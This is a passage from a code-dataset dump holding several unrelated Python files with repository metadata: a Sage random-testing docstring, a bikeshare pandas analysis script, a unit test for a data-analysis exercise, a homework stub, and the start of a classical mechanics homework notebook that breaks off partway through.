EXAMPLE OF HOW TO USE\n    :func:`random_testing`!  Instead, look at\n    :func:`sage.misc.random_testing.test_add_commutes`.\n\n    We test that ``a+b == a*b``, for *a*, *b* rational.  This is of\n    course false, so the test will almost always fail.\n\n    EXAMPLES::\n\n        sage: from sage.misc.random_testing import test_add_is_mul\n\n    We start by testing that we get reproducible results when setting\n    *seed* to 0.\n\n    ::\n\n        sage: test_add_is_mul(2, verbose=True, seed=0)\n        a == -4, b == 0 ...\n        Random testing has revealed a problem in test_add_is_mul\n        Please report this bug!  You may be the first\n        person in the world to have seen this problem.\n        Please include this random seed in your bug report:\n        Random seed: 0\n        AssertionError()\n\n    Normally in a ``@random_testing`` doctest, we would leave off the\n    ``verbose=True`` and the ``# random``.  We put it in here so that we can\n    verify that we are seeing the exact same error when we reproduce\n    the error below.\n\n    ::\n\n        sage: test_add_is_mul(10, verbose=True) # random\n        a == -2/7, b == 1 ...\n        Random testing has revealed a problem in test_add_is_mul\n        Please report this bug!  You may be the first\n        person in the world to have seen this problem.\n        Please include this random seed in your bug report:\n        Random seed: 216390410596009428782506007128692114173\n        AssertionError()\n\n    OK, now assume that some user has reported a\n    :func:`test_add_is_mul` failure.  We can specify the same\n    *random_seed* that was found in the bug report, and we will get the\n    exact same failure so that we can debug the \"problem\".\n\n    ::\n\n        sage: test_add_is_mul(10, verbose=True, seed=216390410596009428782506007128692114173)\n        a == -2/7, b == 1 ...\n        Random testing has revealed a problem in test_add_is_mul\n        Please report this bug!  You may be the first\n        person in the world to have seen this problem.\n        Please include this random seed in your bug report:\n        Random seed: 216390410596009428782506007128692114173\n        AssertionError()\n    \"\"\"\n    from sage.rings.all import QQ\n    for _ in xrange(trials):\n        a = QQ.random_element()\n        b = QQ.random_element()\n        if verbose:\n            print(\"a == {}, b == {} ...\".format(a, b))\n        assert(a+b == a*b)\n        if verbose:\n            print(\"Passes!\")\n\n", "meta": {"hexsha": "869b55d55af2a02ddb5c8c20e49c48f4d360752d", "size": 10140, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/misc/random_testing.py", "max_stars_repo_name": "switzel/sage", "max_stars_repo_head_hexsha": "7eb8510dacf61b691664cd8f1d2e75e5d473e5a0", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2015-08-11T05:05:47.000Z", "max_stars_repo_stars_event_max_datetime": "2019-05-15T17:27:25.000Z", "max_issues_repo_path": "src/sage/misc/random_testing.py", "max_issues_repo_name": "switzel/sage", "max_issues_repo_head_hexsha": "7eb8510dacf61b691664cd8f1d2e75e5d473e5a0", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/misc/random_testing.py", "max_forks_repo_name": "switzel/sage", "max_forks_repo_head_hexsha": "7eb8510dacf61b691664cd8f1d2e75e5d473e5a0", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-07-24T12:08:30.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-24T12:08:30.000Z", "avg_line_length": 38.8505747126, "max_line_length": 93, "alphanum_fraction": 0.642209073, "include": true, "reason": "from sage", "num_tokens": 2389, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.31742626558767584, "lm_q2_score": 0.22541662624228417, "lm_q1q2_score": 0.07155315786946115}}
{"text": "import time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n              'new york city': 'new_york_city.csv',\n              'washington': 'washington.csv' }\n\nmonth_list = ['January', 'February', 'March', 'April', 'May', 'June']\nday_list = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday']\n\ndef get_filters():\n    \"\"\"\n    Asks user to specify a city, month, and day to analyze.\n\n    Returns:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n    print('Hello! Let\\'s explore some US bikeshare data!')\n    city_list = list(CITY_DATA.keys())\n    # This block gets the user's desired city, formats it, and checks it against the city_list variable. \n    city = input('Would you like to investigate Chicago, Washington, or New York City? ').lower()\n    while city not in city_list:\n        print('That\\'s not a valid city for this program.')\n        city = input('Would you like to investigate Chicago, Washington, or New York City? ').lower()\n    # This block asks if the month needs to be filtered.  If yes, it asks for the month name and checks it against the month_list variable.  \n    # If no, it sets month = 'all'. \n    month_filter = input('Would you like to filter data by month? Enter yes or no: ').lower()\n    while month_filter != 'yes' and month_filter != 'no':\n        print('Not a valid input. Please specify yes or no')\n        month_filter = input('Would you like to filter data by month? Enter yes or no: ').lower()\n    if month_filter == 'yes':\n        month = input('Filter by which month? This program has data for January through June: ').title()\n        while month not in month_list:\n            print('Not a valid month for this program.')\n            month = input('Filter by which month? This program has data for January through June: ').title()\n    else:\n        month = 'all'\n    # This block asks if the day needs to be filtered. If yes, it checks the user's input of a day name against the day_list variable.\n    # If no, it sets the day variable = 'all'. \n    day_filter = input('Would you like to filter data by day? Enter yes or no: ').lower()\n    while day_filter != 'yes' and day_filter != 'no':\n        print('Please specify yes or no.')\n        day_filter = input('Would you like to filter data by day? Enter yes or no: ').lower()\n    if day_filter == 'yes':\n        day = input('Filter by which day? ').title()\n        while day not in day_list:\n            print('Not a valid day.')\n            day = input('Filter by which day? ').title()\n    else:\n        day = 'all'\n\n    print('-'*40)\n    return city, month, day\n\n\ndef load_data(city, month, day):\n    \"\"\"\n    Loads data for the specified city and filters by month and day if applicable.\n\n    Args:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    Returns:\n        df - Pandas DataFrame containing city data filtered by month and day\n    \"\"\"\n    # This block loads the user's desired city's table into a DataFrame and uses Pandas datetime functionality to append additional columns\n    # needed later for time based statistics.  It then filters the DataFrame by month and day if specified by the user. \n    df = pd.read_csv(CITY_DATA[city])\n    df['Start Time'] = pd.to_datetime(df['Start Time'])\n    df['month'] = df['Start Time'].dt.month\n    df['day_of_week'] = df['Start Time'].dt.weekday_name\n    df['hour'] = df['Start Time'].dt.hour\n    if month != 'all':\n        month = month_list.index(month)+1\n        df = df[df['month'] == month]\n    \n    if day != 'all':\n        df = df[df['day_of_week'] == day]\n\n    return df\n\ndef condisplay_message(city, month, day):\n    \"\"\"\n    Prints a line with the user's selected filters in a string message.\n    \n    Args:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \n    \"\"\"\n    # This block prints a string with the user's selected filters. It's not completely necessary,\n    # but is useful as an easily read reminder of the filters used, located at the top of the program's output. \n    if month == 'all' and day == 'all':\n        print('For all months and all days in {}:\\n'.format(city.title()))\n    elif month == 'all' and day != 'all':\n        print('For all months and all {}s in {}:\\n'.format(day, city.title()))          \n    elif month != 'all' and day == 'all':\n        print('For all days in the month of {} in {}:\\n'.format(month, city.title()))\n    else:\n        print('For all {}s in the month of {} in {}:\\n'.format(day, month, city.title()))\n\ndef time_stats(df, month, day):\n    \"\"\"\n    Displays statistics on the most frequent times of travel.\n    \n    Args:\n        (DataFrame) df - pre-filtered Pandas DataFrame\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n\n    print('\\nCalculating The Most Frequent Times of Travel...\\n')\n    start_time = time.time()\n\n    # This block finds and prints the most popular month statistics if a month filter was not selected by the user. \n    if month == 'all':\n        month_value_counts = df['month'].value_counts()\n        pop_month = month_list[month_value_counts.keys()[0]-1]\n        pop_month_count = month_value_counts.iloc[0]\n        print('The most popular month was {}, with {} bikerides.'.format(pop_month, pop_month_count))\n        \n    \n    # This block finds and prints the most popular day statistics if a day filter was not selected by the user. \n    if day == 'all':\n        day_value_counts = df['day_of_week'].value_counts()\n        pop_day = day_value_counts.keys()[0]\n        pop_day_count = day_value_counts.iloc[0]\n        print('The most popular day was {}, with {} bikerides.'.format(pop_day, pop_day_count))\n\n    # This block finds and prints the most popular hour statistics for any and all filters selected by the user. \n    hour_value_counts = df['hour'].value_counts()\n    pop_hour = hour_value_counts.keys()[0]\n    pop_hour_count = hour_value_counts.iloc[0]\n    print('The most popular hour was {} o\\'clock with {} bikerides.'.format(pop_hour, pop_hour_count))\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef station_stats(df):\n    \"\"\"\n    Displays statistics on the most popular stations and trip.\n    \n    Args:\n    (DataFrame) df - pre-filtered Pandas DataFrame\n    \"\"\"\n\n    print('\\nCalculating The Most Popular Stations and Trip...\\n')\n    start_time = time.time()\n    # Adds a column to the DataFrame to help find popular start to end trip locations. \n    df['Trip'] = df['Start Station'].str.cat(df['End Station'], sep=' to ')\n\n    # This block finds and prints the name of the most popular starting place, as well as total number of trips from that station. \n    start_station_counts = df['Start Station'].value_counts()\n    pop_start_station = start_station_counts.keys()[0]\n    pop_start_station_count = start_station_counts.iloc[0]\n    print('The most popular start station was {} with {} trips starting there.'.format(pop_start_station, pop_start_station_count))\n    \n    # This block finds and prints the name of the most popular ending place, as well as total number of trips that end at that station.\n    end_station_counts = df['End Station'].value_counts()\n    pop_end_station = end_station_counts.keys()[0]\n    pop_end_station_count = end_station_counts.iloc[0]\n    print('The most popular ending station was {} with {} trips ending there.'.format(pop_end_station, pop_end_station_count))\n\n    # This block finds and prints the most popular trip, start to end, based on the new column created.\n    trip_counts = df['Trip'].value_counts()\n    pop_trip = trip_counts.keys()[0]\n    pop_trip_count = trip_counts.iloc[0]\n    print('The most popular trip was {} with {} trips.'.format(pop_trip, pop_trip_count))\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\ndef trip_time_units(trip_time_type, trip_time):\n    \"\"\"\n    This program helps the trip_duration_stats() function decide what time units to use. The function checks if the time amount is\n    less than or equal to 2 times the next biggest unit. If it is, it checks the next size unit, if it's not, it prints the time with\n    the current unit. For example if its 1000 seconds, it checks if its less than or equal to 2 of the next biggest unit (minutes).\n    It is not, so it checks if its less than or equal to 2 of the next biggest unit (hours). It is so it stops at minutes and prints\n    the desired response.\n    It also only prints to 2 decimal places, for more easily read numbers.\n    \n    Args:\n        (str) trip_time_type - indicates the type of travel time being calculated for the printed output. Either 'total', or 'mean'\n        (int) trip_time - trip time in seconds\n    \"\"\"\n    if trip_time <= 120:\n        print('The {} travel duration was {:.2f} seconds.'.format(trip_time_type, trip_time))\n    elif trip_time <= 120*60:\n        print('The {} travel duration was {:.2f} minutes'.format(trip_time_type, trip_time/60))\n    elif trip_time <= 48*60*60:\n        print('The {} travel duration was {:.2f} hours'.format(trip_time_type, trip_time/(60*60)))\n    elif trip_time <= 60*24*60*60:\n        print('The {} travel duration was {:.2f} days'.format(trip_time_type, trip_time/(60*60*24)))\n    elif trip_time <= 48*30*24*60*60:\n        print('The {} travel duration was {:.2f} months'.format(trip_time_type, trip_time/(60*60*24*30)))\n    else:\n        print('The {} travel duration was {:.2f} years'.format(trip_time_type, trip_time/(60*60*24*365)))\n\ndef trip_duration_stats(df):\n    \"\"\"\n    Displays statistics on the total and average trip duration.\n    \n    Args:\n    (DataFrame) df - pre-filtered Pandas DataFrame\n    \n    \"\"\"\n\n    print('\\nCalculating Trip Duration...\\n')\n    start_time = time.time()\n\n    # This block finds the total trip duration of all trips taken for the user's selected filters. It then displays that time\n    # in seconds, minutes, hours, days, months, or years, rounded to 2 decimal places. \n    total_trip_time = df['Trip Duration'].sum()\n    total_trip_type = 'total'\n    trip_time_units(total_trip_type, total_trip_time)\n    \n    # This block finds the mean trip duration for all trips taken for the user's selected filters. It then displays that time \n    # in seconds, minutes, hours, days, months, or years, rounded to 2 decimal places.  \n    mean_trip_time = df['Trip Duration'].mean()\n    mean_trip_type = 'mean'\n    trip_time_units(mean_trip_type, mean_trip_time)\n   \n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\ndef user_stats(df, city):\n    \"\"\"Displays statistics on bikeshare users.\n    \n    Args:\n        (DataFrame) df - pre-filtered Pandas DataFrame\n        (str) city - name of the city to analyze\n    \n    \"\"\"\n\n    print('\\nCalculating User Stats...\\n')\n    start_time = time.time()\n\n    # Prints a Pandas Series of all user types and their counts, as well as filling all NaNs with N/A (not available). \n    print(df['User Type'].fillna('N/A').value_counts())\n    print()\n    \n\n    # Because the Washington data table doesn't have a gender column, a try/except function is used to handle any KeyErrors. \n    # If there is no KeyError exception thrown up, this block will print a Pandas series with a count of gender types (male and female)\n    # as well as a column for N/A, filled with any NaN values. \n    try:\n        print(df['Gender'].fillna('N/A').value_counts())\n        print()\n    except KeyError:\n        print('{} has no gender data available.'.format(city.title()))\n        print()\n    \n\n    # The Washington data table also has no birth year column, so another try/except block is used. If no KeyError comes up, this block will find and \n    # print values for the oldest birth year, most recent birth year, and the most common birth year, for the user's selected filters.\n    try:\n        oldest_birth_year = int(df['Birth Year'].min())\n        youngest_birth_year = int(df['Birth Year'].max())\n        common_birth_year = int(df['Birth Year'].mode()[0])\n        print('The earliest user birth year is {}. The most recent user birth year is {}. The most common user birth year is {}.'.format(\n            oldest_birth_year, youngest_birth_year, common_birth_year))\n    except KeyError:\n        print('{} has no birth year data available.'.format(city.title()))\n\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\ndef display_data(df):\n    \"\"\"\n    This function gives the user the option to see 5 rows of the raw data from their filtered DataFrame\n    and then see 5 more rows until they decide to stop.\n    \n    Args:\n        (DataFrame) df - the Pandas DataFrame loaded based on the user's filters.\n    \"\"\"\n    \n    # This code gets users yes or no input on seeing 5 rows of data, then asks again and continuously shows\n    # the next 5 rows until the user inputs no which stops the function.\n    display_input = input('Would you like to see the raw data (5 rows)? Enter yes or no: ').lower()\n    while display_input != 'yes' and display_input != 'no':\n        display_input = input('Not a valid input. Please enter yes or no: ').lower()\n    if display_input == 'yes':\n        i=0\n        while True:\n            print(df.iloc[i:i+5,:])\n            display_input = input('Would you like to see 5 more rows? Enter yes or no: ').lower()\n            while display_input != 'yes' and display_input != 'no':\n                display_input = input('Not a valid input. Please enter yes or no: ').lower()\n            if display_input == 'yes':\n                i += 5\n            else:\n                break\n\ndef main():\n    while True:\n        city, month, day = get_filters()\n        df = load_data(city, month, day)\n        condisplay_message(city, month, day)\n        time_stats(df, month, day)\n        station_stats(df)\n        trip_duration_stats(df)\n        user_stats(df, city)\n        display_data(df)\n\n        restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n        if restart.lower() != 'yes':\n            break\n\n\nif __name__ == \"__main__\":\n\tmain()\n", "meta": {"hexsha": "ed75221fc4accb82741e976618a2b8a3ed0c7e7f", "size": 14643, "ext": "py", "lang": "Python", "max_stars_repo_path": "bikeshare.py", "max_stars_repo_name": "saulgeller/bikeshare", "max_stars_repo_head_hexsha": "67cc29eeb5e154cb948875873c27bf76f3e83aa8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-05-01T01:20:46.000Z", "max_stars_repo_stars_event_max_datetime": "2019-05-01T01:20:46.000Z", "max_issues_repo_path": "bikeshare.py", "max_issues_repo_name": "saulgeller/bikeshare", "max_issues_repo_head_hexsha": "67cc29eeb5e154cb948875873c27bf76f3e83aa8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "bikeshare.py", "max_forks_repo_name": "saulgeller/bikeshare", "max_forks_repo_head_hexsha": "67cc29eeb5e154cb948875873c27bf76f3e83aa8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.9028213166, "max_line_length": 150, "alphanum_fraction": 0.6541692276, "include": true, "reason": "import numpy", "num_tokens": 3554, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.14414885670945196, "lm_q1q2_score": 0.07151135833884688}}
{"text": "#!/usr/bin/env python3\n\nimport unittest\nfrom unittest.mock import patch\nimport numpy as np\nimport pandas as pd\n\nfrom tmc import points\n\nfrom tmc.utils import load, get_out, patch_helper\n\nmodule_name=\"src.special_missing_values\"\nspecial_missing_values = load(module_name, \"special_missing_values\")\nmain = load(module_name, \"main\")\nph = patch_helper(module_name)\n\n@points('p04-14.1')\nclass SpecialMissingValues(unittest.TestCase):\n\n    \n    def test_shape(self):\n        df = special_missing_values()\n        self.assertEqual(df.shape, (17,7), msg=\"Incorrect shape!\")\n\n    def test_columns(self):\n        df = special_missing_values()\n        np.testing.assert_array_equal(df.columns,\n                                      [\"Pos\", \"LW\", \"Title\", \"Artist\", \"Publisher\", \"Peak Pos\", \"WoC\"],\n                                      err_msg=\"Incorrect column names!\")\n\n    def test_called(self):\n        with patch(ph(\"special_missing_values\"), wraps=special_missing_values) as psmv,\\\n             patch(ph(\"pd.read_csv\"), wraps=pd.read_csv) as prc:\n            main()\n            psmv.assert_called()\n            prc.assert_called()\n            \n    def test_content(self):\n        df = special_missing_values()\n        np.testing.assert_array_equal(df[\"Pos\"], [3,4,6,9,10,12,15,16,21,22,24,30,31,34,35,38,39],\n                                   err_msg=\"The values in position column were incorrect!\")\n        \nif __name__ == '__main__':\n    unittest.main()\n    \n", "meta": {"hexsha": "b18bc08669972ac9c0658d3cb89cafd3dae13d0b", "size": 1457, "ext": "py", "lang": "Python", "max_stars_repo_path": "hy-data-analysis-with-python-spring-2020/part04-e14_special_missing_values/test/test_special_missing_values.py", "max_stars_repo_name": "Melimet/DAP2020", "max_stars_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "hy-data-analysis-with-python-spring-2020/part04-e14_special_missing_values/test/test_special_missing_values.py", "max_issues_repo_name": "Melimet/DAP2020", "max_issues_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "hy-data-analysis-with-python-spring-2020/part04-e14_special_missing_values/test/test_special_missing_values.py", "max_forks_repo_name": "Melimet/DAP2020", "max_forks_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.6739130435, "max_line_length": 103, "alphanum_fraction": 0.6218256692, "include": true, "reason": "import numpy", "num_tokens": 328, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709194, "lm_q2_score": 0.144148856709452, "lm_q1q2_score": 0.07151135833884686}}
{"text": "#\n# File: __init__.py\n#\n\nfrom project0_py.helpers import *\n\n## top-level submission file\n\n\n### imports here\nimport numpy as np\n###\n\n\ndef f(a, b):\n\t'''\n\tFunction for adding two numbers\n\tArgs:\n\t\ta (float): first number\n\t\tb (float): second number\n\tReturns:\n\t\tc (float): result\n\t'''\n\n\t## Your code goes here\n\n\t##\n\n\treturn c\n", "meta": {"hexsha": "f3ea8bec2283e6e46b3327c15a9980028a6954b7", "size": 320, "ext": "py", "lang": "Python", "max_stars_repo_path": "AA222_spring_2021/AA222Project0/project0_py/project0.py", "max_stars_repo_name": "wo315/AA222_Collections", "max_stars_repo_head_hexsha": "c7845f05f09df052ad81b1a1350a2294ed7e8c16", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 13, "max_stars_repo_stars_event_min_datetime": "2021-11-14T05:57:35.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-21T08:10:03.000Z", "max_issues_repo_path": "AA222_spring_2021/AA222Project0/project0_py/project0.py", "max_issues_repo_name": "xieguangci/AA222_Collections", "max_issues_repo_head_hexsha": "2b4a8f6e96966ad7ed50b7071c8eded6f642eb9c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "AA222_spring_2021/AA222Project0/project0_py/project0.py", "max_forks_repo_name": "xieguangci/AA222_Collections", "max_forks_repo_head_hexsha": "2b4a8f6e96966ad7ed50b7071c8eded6f642eb9c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 8, "max_forks_repo_forks_event_min_datetime": "2021-11-14T06:44:21.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-23T04:09:39.000Z", "avg_line_length": 10.6666666667, "max_line_length": 33, "alphanum_fraction": 0.6375, "include": true, "reason": "import numpy", "num_tokens": 90, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.15002882814282253, "lm_q1q2_score": 0.07150068656579858}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <!-- HTML file automatically generated from DocOnce source (https://github.com/doconce/doconce/)\n# doconce format html hw2.do.txt --no_mako -->\n# <!-- dom:TITLE: PHY321: Classical Mechanics 1 -->\n\n# # PHY321: Classical Mechanics 1\n# **Homework 2, due January 28 (Midnight)**\n# \n# Date: **Jan 18, 2022**\n\n# ### Practicalities about  homeworks and projects\n# \n# 1. You can work in groups (optimal groups are often 2-3 people) or by yourself. If you work as a group you can hand in one answer only if you wish. **Remember to write your name(s)**!\n# \n# 2. Homeworks are available 10 days  before the deadline.\n# \n# 3. How do I(we)  hand in?  You can hand in the paper and pencil exercises as a  scanned  document. For this homework this applies to exercises 1-5. The scanned document should be uploaded to D2L. Alternatively, you can hand in everyhting (if you are ok with typing mathematical formulae using say Latex) as a jupyter notebook at D2L. The numerical exercise(s) (exercise 6 here) should always be handed in as a jupyter notebook by the deadline at D2L.\n\n# ### Exercise 1 (10 pt), Forces, discussion questions, test your intuition\n# \n# * 1a (2pt) Single force. Can an object affected only by a single force have zero acceleration?\n# \n# * 1b (2pt) Zero velocity. If you throw a ball vertically it has zero velocity at its maximum point. Does it also have zero acceleration at this point?\n# \n# * 1c (3pt) Acceleration of gravity. You measure the acceleration of gravity in an elevator moving at a velocity of 9.8m/s downwards. What will you measure?\n# \n# * 1d (3pt) Air resistance. You throw a ball straight up and measure the velocity as it passes you on its way down. Will the velocity be larger, the same, or smaller if you did the same experiment in vacuum?\n\n# ### Exercise 2 (10 pt), setting up forces, Newton's second law\n# \n# Useful material here to read is\n# 1. Taylor chapters 1.3 and 1.4 and\n# \n# 2. Malthe-S\u00f8renssen chapters 5.1, 5.2 and 5.3\n# \n# A person jumps from an airplane, falling freely for several seconds before the person pulls the cord of her parachute and the parachute unfolds.\n# * 2a (3pt)  Identify the forces acting on the parachuter and draw a free-body diagram of the parachuter before the person has pulled the cord.\n# \n# * 2b (3pt)  Identify the forces acting on the parachuter and draw a free-body diagram of the parachuter after the person has pulled the cord.\n# \n# * 2c (4pt)  Sketch the net force acting on the parachuter as a function of time, F(t).\n\n# ### Exercise 3 (10 pt), Space shuttle with air resistance\n# \n# Useful material here to read is\n# 1. Malthe-S\u00f8renssen chapters 5.1, 5.2 and 5.3\n# \n# During lift-off of the space shuttle the engines provide a force of $35\\times 10^{6}$ N. The mass of the shuttle is approximately\n# $2\\times 10^6$ kg.\n# * 3a (3pt) Draw a free-body diagram of the space shuttle immediately after lift-off.\n# \n# * 3b (3pt)  Find an expression for the acceleration of the space shuttle immediately after lift-off.\n# \n# Let us assume that the force from the engines is constant, and that the mass of the\n# space shuttle does not change significantly over the first 20 s.\n# * 3c (4pt) Find the velocity and position of the space shuttle after 20 s if you ignore air resistance.\n\n# ### Exercise 4 (15 pt), now hitting a golf ball\n# \n# Useful material here to read is\n# 1. Taylor chapters 1.3-1.6 and\n# \n# 2. Malthe-S\u00f8renssen chapter 6.3-6.4 and 7.1-7.3\n# \n# **Taylor exercise 1.35**. The formulae you obtain here will be useful for the numerical exercises below (see exercise 6 below).\n\n# ### Exercise 5 (15 pt), hitting a puck instead\n# \n# Taylor exercise 1.38.\n\n# ### Exercise 6 (40pt), Numerical elements, moving to more than one dimension\n# \n# **This exercise should be handed in as a jupyter-notebook** at D2L. Remember to write your name(s). \n# \n# Last week we:\n# 1. Analytically mapped 1D motion over some time\n# \n# 2. Gained practice with functions\n# \n# 3. Reviewed vectors and matrices in Python\n# \n# This week we will:\n# 1. Practice using Python syntax and variable manipulation\n# \n# 2. Utilize analytical solutions to create more refined functions\n# \n# 3. Work in two, three or even higher dimensions\n# \n# This material will then serve as background for the numerical part of homework 3. The first part is a simple warm-up, with hints and suggestions you can use for the code to write below.\n\n# In[1]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n# As usual, here are some useful packages we will be using. Feel free to use more and experiment as you wish.\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits import mplot3d\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# In class (the falling baseball example) we used an  analytical expression for the height of a falling ball.\n# In the first homework we used instead the position from experiment (Usain Bolt's 100m record run) and stored this\n# information with one-dimensional arrays in Python.\n# \n# Let us get some practice with this. The cell below creates two arrays,\n# one containing the times to be analyzed and the other containing the $x$\n# and $y$ components of the position vector at each point in time.  This is a two-dimensional object. The\n# second array is initially empty. Then we define  the initial\n# position to be $x=2$ and $y=1$. Take a look at the code and comments\n# to get an understanding of what is happening. Feel free to play around with it.\n\n# In[2]:\n\n\ntf = 4 #length of value to be analyzed\ndt = .001 # step sizes\nt = np.arange(0.0,tf,dt) # Creates an evenly spaced time array going from 0 to 3.999, with step sizes .001\np = np.zeros((len(t), 2)) # Creates an empty array of [x,y] arrays (our vectors). Array size is same as the one for time.\np[0] = [2.0,1.0] # This sets the inital position to be x = 2 and y = 1\n\n\n# Below we are printing specific values of our array to see what is being\n# stored where. The first number in the array $r[]$ represents which array\n# iteration we are looking at, while the number after the  represents\n# which listed number in the array iteration we are getting back.\n\n# In[3]:\n\n\nprint(p[0]) # Prints the first array\nprint(p[0,:]) # Same as above, these commands are interchangeable\n\n\n# In[4]:\n\n\nprint(p[3999]) # Prints the 4000th array\n\n\n# In[5]:\n\n\nprint(p[0,0]) # Prints the first value of the first array\n\n\n# In[6]:\n\n\nprint(p[0,1]) # Prints the second value of first array\nprint(p[:,0]) # Prints the first value of all the arrays\n\n\n# Then try running this cell. Notice how it gives an error since we did not implement a third dimension into our arrays\n\n# In[7]:\n\n\nprint(p[:,2])\n\n\n# In the cell below we want to manipulate the arrays.\n# In this example we make each vector's $x$ component valued the same as their respective vector's position in the iteration and the $y$ value will be twice that value, except for  the first vector, which we have already set. \n# That is we have $p[0] = [2,1], p[1] = [1,2], p[2] = [2,4], p[3] = [3,6], ...$\n# \n# Here we set up an array for $x$ and $y$ values.\n\n# In[8]:\n\n\nfor i in range(1,3999):\n    p[i] = [i,2*i]\n# Checker cell to make sure your code is performing correctly\nc = 0\nfor i in range(0,3999):\n    if i == 0:\n        if p[i,0] != 2.0:\n            c += 1\n        if p[i,1] != 1.0:\n            c += 1\n    else:\n        if p[i,0] != 1.0*i:\n            c += 1\n        if p[i,1] != 2.0*i:\n            c += 1\n\nif c == 0:\n    print(\"Success!\")\nelse:\n    print(\"There is an error in your code\")\n\n\n# You could also think of an alternative way of storing the above information. Feel free to explore how to store\n# multidimensional objects. \n# \n# Last week we studied Usain Bolt's 100m run and in class we studied a falling baseball. We made basic plots of the baseball\n# moving in one dimension. This week we will be working with a three-dimensional variant. This will be useful for our next homeworks and numerical projects. \n# \n# Assume we have a soccer ball moving in three dimensions with the following trajectory:\n# \n# 1. $x(t) = 10t\\cos{45^{\\circ}} $\n# \n# 2. $y(t) = 10t\\sin{45^{\\circ}} $\n# \n# 3. $z(t) = 10t - \\dfrac{9.81}{2}t^2$\n# \n# Now let us create a three-dimensional (3D) plot using these equations. In the cell below\n# we write the equations into their respective labels. We fix a final time in the code below.\n# \n# Important Concept: Numpy comes with many mathematical packages, some\n# of them being the trigonometric functions sine, cosine, tangent. We\n# are going to utilize these this week. Additionally, these functions\n# work with radians, so we will also be using a function from Numpy that\n# converts degrees to radians.\n\n# In[9]:\n\n\ntf = 2.04  # The final time to be evaluated\ndt = 0.1  # The time step size\nt = np.arange(0,tf,dt) # The time array\ntheta_deg = 45 # Degrees\ntheta_rad = np.radians(theta_deg) # Converts degrees to their radian counterparts\nx = 10*t*np.cos(theta_rad) # Equation for our x component, utilizing np.cos() and our calculated radians\ny = 10*t*np.sin(theta_rad) # Put the y equation here\nz = 10*t-9.81/2*t**2# Put the z equation here\n\n\n# Then we plot it\n\n# In[10]:\n\n\n## Once you have entered the proper equations in the cell above, run this cell to plot in 3D\nfig = plt.axes(projection='3d')\nfig.set_xlabel('x')\nfig.set_ylabel('y')\nfig.set_zlabel('z')\nfig.scatter(x,y,z)\n\n\n# * 6a (8pt) How would you express $x(t)$, $y(t)$, $z(t)$ for this problem as a single vector, $\\boldsymbol{r}(t)$?\n# \n# Then run the code and plot using the array $r$\n\n# In[11]:\n\n\n## Run this code to plot using our r array \nfig = 